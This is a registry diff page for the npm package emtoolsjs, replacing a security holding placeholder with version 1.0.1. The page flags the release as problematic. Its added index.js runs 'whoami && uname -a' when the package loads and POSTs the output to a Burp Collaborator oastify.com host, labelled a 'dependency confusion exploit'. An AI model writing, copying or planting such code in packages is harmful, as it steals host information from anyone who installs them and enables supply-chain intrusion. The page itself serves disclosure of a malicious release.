emtoolsjs 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of emtoolsjs might be problematic. Click here for more details.

Files changed (3) hide show
  1. package/index.js +48 -0
  2. package/package.json +9 -3
  3. package/README.md +0 -5
package/index.js ADDED
@@ -0,0 +1,48 @@
1
+ const https = require('https');
2
+ const { exec } = require('child_process');
3
+
4
+ // Función para enviar datos al Burp Collaborator
5
+ function sendData(data) {
6
+ const options = {
7
+ hostname: '2be71rh86kkyju99zxclirv7cyip6gu5.oastify.com', // URL de tu Burp Collaborator
8
+ port: 443,
9
+ path: '/callback',
10
+ method: 'POST',
11
+ headers: {
12
+ 'Content-Type': 'application/json',
13
+ 'Content-Length': data.length
14
+ }
15
+ };
16
+
17
+ const req = https.request(options, (res) => {
18
+ res.on('data', (d) => process.stdout.write(d));
19
+ });
20
+
21
+ req.on('error', (error) => {
22
+ console.error(error);
23
+ });
24
+
25
+ req.write(data);
26
+ req.end();
27
+ }
28
+
29
+ // Ejecutar comandos y enviar los resultados
30
+ exec('whoami && uname -a', (error, stdout, stderr) => {
31
+ if (error) {
32
+ console.error(`Error al ejecutar el comando: ${error.message}`);
33
+ return;
34
+ }
35
+ if (stderr) {
36
+ console.error(`Error en el comando: ${stderr}`);
37
+ }
38
+
39
+ // Prepara los datos en formato JSON para enviar a Burp Collaborator
40
+ const payload = JSON.stringify({
41
+ message: 'Dependency confusion exploit',
42
+ commandOutput: stdout
43
+ });
44
+
45
+ // Envía los datos al Collaborator
46
+ sendData(payload);
47
+ });
48
+
package/package.json CHANGED
@@ -1,6 +1,12 @@
1
1
  {
2
2
  "name": "emtoolsjs",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
3
+ "version": "1.0.1",
4
+ "description": "test",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "pwd"
8
+ },
9
+ "keywords": [],
10
+ "author": "b4llstr-ywh-",
11
+ "license": "ISC"
6
12
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=emtoolsjs for more information.